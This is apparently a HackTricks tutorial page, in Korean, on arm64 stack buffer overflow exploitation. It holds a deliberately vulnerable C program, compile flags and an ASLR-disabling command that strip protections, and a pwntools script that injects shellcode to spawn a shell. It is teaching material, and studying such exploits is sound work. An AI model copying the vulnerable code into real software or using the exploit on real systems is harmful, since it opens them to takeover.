Stack Shellcode - arm64

htARTE (HackTricks AWS Red Team Expert)을 통해 **제로부터 영웅이 되는 AWS 해킹을 배우세요**!

HackTricks를 지원하는 다른 방법:

arm64 기본 어셈블리.md에서 arm64에 대한 소개를 찾을 수 있습니다.

코드

#include <stdio.h>
#include <unistd.h>

void vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
}

int main() {
vulnerable_function();
return 0;
}

파이, 캐너리, NX 없이 컴파일하기:

```bash clang -o bof bof.c -fno-stack-protector -Wno-format-security -no-pie -z execstack ``` ## ASLR 없음 & canary 없음 - 스택 오버플로우

ASLR을 중지하려면 실행하세요:

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

bof 오프셋을 얻으려면 이 링크를 확인하십시오.

Exploit:

from pwn import *

# Load the binary
binary_name = './bof'
elf = context.binary = ELF(binary_name)

# Generate shellcode
shellcode = asm(shellcraft.sh())

# Start the process
p = process(binary_name)

# Offset to return address
offset = 72

# Address in the stack after the return address
ret_address = p64(0xfffffffff1a0)

# Craft the payload
payload = b'A' * offset + ret_address + shellcode

print("Payload length: "+ str(len(payload)))

# Send the payload
p.send(payload)

# Drop to an interactive session
p.interactive()

다음으로 호출할 스택 내 주소를 찾는 것이 유일하게 "복잡"할 수 있는 부분입니다. 제 경우 gdb를 사용하여 찾은 주소로 exploit을 생성했지만, exploit을 시도할 때 작동하지 않았습니다 (스택 주소가 약간 변경되었기 때문입니다).

생성된 core 파일 (gdb ./bog ./core)을 열고 쉘코드 시작 주소의 실제 주소를 확인했습니다.

Last updated